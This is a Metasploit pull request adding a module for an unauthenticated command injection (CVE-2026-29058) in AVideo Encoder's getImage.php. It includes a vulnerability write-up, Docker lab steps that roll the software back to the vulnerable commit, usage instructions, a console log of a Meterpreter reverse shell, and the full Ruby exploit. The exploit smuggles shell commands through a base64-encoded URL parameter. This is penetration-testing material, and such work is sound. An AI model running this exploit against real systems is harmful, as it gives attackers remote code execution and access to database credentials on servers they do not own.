Merge pull request #21076 from Chocapikk/avideo-encoder-getimage-cmd-injection
Add AVideo Encoder getImage.php command injection (CVE-2026-29058)
This commit is contained in:
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## Vulnerable Application
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This module exploits an unauthenticated OS command injection vulnerability in AVideo
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Encoder's `getImage.php` endpoint.
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**CVE ID:** CVE-2026-29058
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**Affected Versions:** AVideo Encoder before version 7.0 (commit 78178d1)
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### Vulnerability Overview
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The `getImage.php` endpoint accepts a `base64Url` GET parameter which is base64-decoded and
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passed through PHP's `FILTER_VALIDATE_URL`. The validated URL is then interpolated directly
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into an ffmpeg shell command within double quotes, without any use of `escapeshellarg()` or
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metacharacter filtering.
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PHP's `FILTER_VALIDATE_URL` does not block shell metacharacters such as backticks or `$()`
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in the URL path component. A crafted URL like `http://x/$(cmd)` passes validation and gets
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interpolated into:
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```
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ffmpeg -i "http://x/$(cmd)" -f image2 ...
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```
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This results in arbitrary command execution as `www-data`. The Encoder code is served by the
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main AVideo Apache container (mounted at `/Encoder`), so exploitation gives access to the
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main application context including database credentials and configuration.
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Fixed in AVideo Encoder version 7.0 (commit `78178d1`) which added `escapeshellarg()` and
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shell metacharacter stripping.
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### Setup
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This lab reuses the same AVideo Docker environment as the `avideo_notify_ffmpeg_unauth_rce`
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module, with one additional step: reverting the Encoder to the pre-patch (vulnerable)
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version.
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1. Clone the AVideo repository and checkout the vulnerable commit:
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```bash
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cd /tmp
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git clone https://github.com/WWBN/AVideo.git
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cd AVideo
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git checkout 596df4e5b0597c9806da76ebec5bbe3b305953e4
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```
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2. Create a `.env` file with the following configuration:
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```bash
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cat > .env << EOF
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SERVER_NAME=localhost
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CREATE_TLS_CERTIFICATE=yes
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DB_MYSQL_HOST=database
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DB_MYSQL_PORT=3306
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DB_MYSQL_NAME=avideo
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DB_MYSQL_USER=avideo
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DB_MYSQL_PASSWORD=avideo
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HTTP_PORT=80
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HTTPS_PORT=9443
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NETWORK_SUBNET=172.99.0.0/16
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EOF
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```
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3. Fix MariaDB corrupted tc.log issue (required for first-time setup):
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```bash
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cat > deploy/docker-entrypoint-mariadb << 'SCRIPTEOF'
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#!/bin/bash
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set -e
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if [ -f /var/lib/mysql/tc.log ]; then
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MAGIC_HEADER=$(head -c 4 /var/lib/mysql/tc.log | od -An -tx1 | tr -d ' \n' 2>/dev/null || echo "")
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if [ "$MAGIC_HEADER" != "01000000" ] && [ -n "$MAGIC_HEADER" ]; then
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echo "[Entrypoint]: Removing corrupted tc.log file (bad magic header: $MAGIC_HEADER)"
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rm -f /var/lib/mysql/tc.log
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fi
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fi
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SCRIPTEOF
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chmod +x deploy/docker-entrypoint-mariadb
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cat >> Dockerfile.mariadb << 'DOCKERFILEEOF'
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COPY deploy/docker-entrypoint-mariadb /usr/local/bin/docker-entrypoint-mariadb
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RUN chmod +x /usr/local/bin/docker-entrypoint-mariadb
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RUN sed -i '2i /usr/local/bin/docker-entrypoint-mariadb' /usr/local/bin/docker-entrypoint.sh
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DOCKERFILEEOF
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docker compose build database database_encoder
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```
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4. Start the Docker Compose environment:
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```bash
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docker compose up -d
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```
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5. Wait for the `avideo` container to finish its entrypoint (this takes 1-2 minutes).
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The entrypoint clones the Encoder repo into `.compose/encoder` and runs the database
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installer. However, the Docker image ships with a pre-existing `configuration.php`, so
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the CLI installer skips table creation. Fix the database permissions and initialize the
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tables manually:
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```bash
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docker exec avideo-database-1 chown -R mysql:mysql /var/lib/mysql/
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docker exec avideo-avideo-1 bash -c "
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mv /var/www/html/AVideo/videos/configuration.php /var/www/html/AVideo/videos/configuration.php.bak
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cd /var/www/html/AVideo/install && php cli.php
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mv /var/www/html/AVideo/videos/configuration.php.bak /var/www/html/AVideo/videos/configuration.php
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"
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```
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Verify that `http://localhost` returns the AVideo interface before proceeding.
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6. Revert the Encoder to the pre-patch (vulnerable) version.
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The `.compose/encoder` directory is a git clone of
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[WWBN/AVideo-Encoder](https://github.com/WWBN/AVideo-Encoder), created automatically
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by the container entrypoint. The security fix in commit `78178d1` patched multiple files
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(not just `getImage.php`), so the entire working tree must be reverted:
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```bash
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docker exec avideo-avideo-1 bash -c "
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git config --global --add safe.directory /var/www/html/AVideo/Encoder
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cd /var/www/html/AVideo/Encoder && git checkout 78178d1~1 -- .
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"
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docker compose restart avideo
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```
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After this step, the `/Encoder/objects/getImage.php` endpoint is vulnerable to command
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injection via the `base64Url` parameter.
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## Verification Steps
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1. Start `msfconsole`
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2. `use exploit/linux/http/avideo_encoder_getimage_cmd_injection`
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3. `set RHOSTS <target_ip>`
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4. `set RPORT <target_port>` (default: 80)
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5. `set LHOST <your_ip>` (for reverse connection)
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6. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
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7. `set FETCH_SRVPORT <available_port>` (if default 8080 is taken)
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8. `exploit`
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9. **Verify** that you get a Meterpreter session
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## Options
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This module has no non-default options.
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## Scenarios
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### Meterpreter via fetch payload (cmd/linux/http/x64/meterpreter/reverse_tcp)
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This scenario demonstrates exploitation against AVideo with a vulnerable Encoder, using a
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fetch payload to deliver a Meterpreter binary:
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```
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msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set RHOSTS localhost
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RHOSTS => localhost
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msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set RPORT 80
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RPORT => 80
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msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set LHOST 172.99.0.1
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LHOST => 172.99.0.1
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msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > exploit
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[*] Started reverse TCP handler on 172.99.0.1:4444
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[*] Running automatic check ("set AutoCheck false" to disable)
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[+] The target is vulnerable. Command injection confirmed via sleep timing (3/3 checks passed)
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[*] Sending command injection via getImage.php...
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[*] Sending stage (3090404 bytes) to 172.99.0.7
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[*] Meterpreter session 1 opened (172.99.0.1:4444 -> 172.99.0.7:46970) at 2026-03-06 21:26:32 +0100
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meterpreter >
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```
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@@ -0,0 +1,112 @@
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'AVideo Encoder getImage.php Unauthenticated Command Injection',
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'Description' => %q{
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This module exploits an unauthenticated OS command injection vulnerability
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in AVideo Encoder's getImage.php endpoint (CVE-2026-29058).
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The base64Url GET parameter is base64-decoded and injected directly into an
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ffmpeg shell command within double quotes, without any sanitization or use of
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escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell
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metacharacters such as $() in the URL path, allowing command substitution.
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A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated
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into: ffmpeg -i "{$url}" ... resulting in arbitrary command execution as www-data.
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The Encoder code is served by the main AVideo Apache container (mounted at
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/Encoder), so exploitation gives access to the main application context including
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database credentials and configuration.
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Fixed in AVideo Encoder version 7.0 (commit 78178d1) which added escapeshellarg()
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and shell metacharacter stripping.
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},
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'Author' => [
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'arkmarta', # Vulnerability discovery -- props to you man
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'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' => [
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['CVE', '2026-29058'],
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['GHSA', '9j26-99jh-v26q', 'WWBN/AVideo-Encoder']
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],
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'Privileged' => false,
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'Targets' => [
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[
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'Unix/Linux Command Shell',
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{
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'Platform' => %w[unix linux],
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'Arch' => ARCH_CMD,
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# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
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'DefaultOptions' => {
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'ENCODER' => 'generic/none',
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'FETCH_WRITABLE_DIR' => '/tmp'
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}
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2026-03-05',
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS]
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}
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)
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)
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register_options([
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OptString.new('TARGETURI', [true, 'The base path to AVideo', '/'])
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])
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end
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def check
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res = send_getimage('true')
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return CheckCode::Unknown('Failed to connect to the target.') unless res
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return CheckCode::Safe("getImage.php returned HTTP #{res.code}") unless res.code == 200
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hits = 0
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3.times do |i|
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sleep_time = rand(1..3)
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vprint_status("Sleep check attempt #{i + 1}/3 (#{sleep_time}s)...")
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_, elapsed = Rex::Stopwatch.elapsed_time do
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send_getimage("sleep${IFS}#{sleep_time}")
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end
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next unless elapsed >= (sleep_time - 0.5)
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vprint_good("Attempt #{i + 1}: #{elapsed.round(1)}s elapsed")
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hits += 1
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end
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return CheckCode::Vulnerable("Command injection confirmed via sleep timing (#{hits}/3 checks passed)") if hits >= 2
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CheckCode::Safe('getImage.php is accessible but command injection did not trigger')
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end
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def exploit
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print_status('Sending command injection via getImage.php...')
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send_getimage(payload.encoded.gsub(' ', '${IFS}'))
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end
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def send_getimage(cmd)
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send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'Encoder', 'objects', 'getImage.php'),
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'method' => 'GET',
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'vars_get' => { 'base64Url' => Rex::Text.encode_base64("#{Faker::Internet.url}/`#{cmd}`"), 'format' => 'png' }
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})
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end
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end
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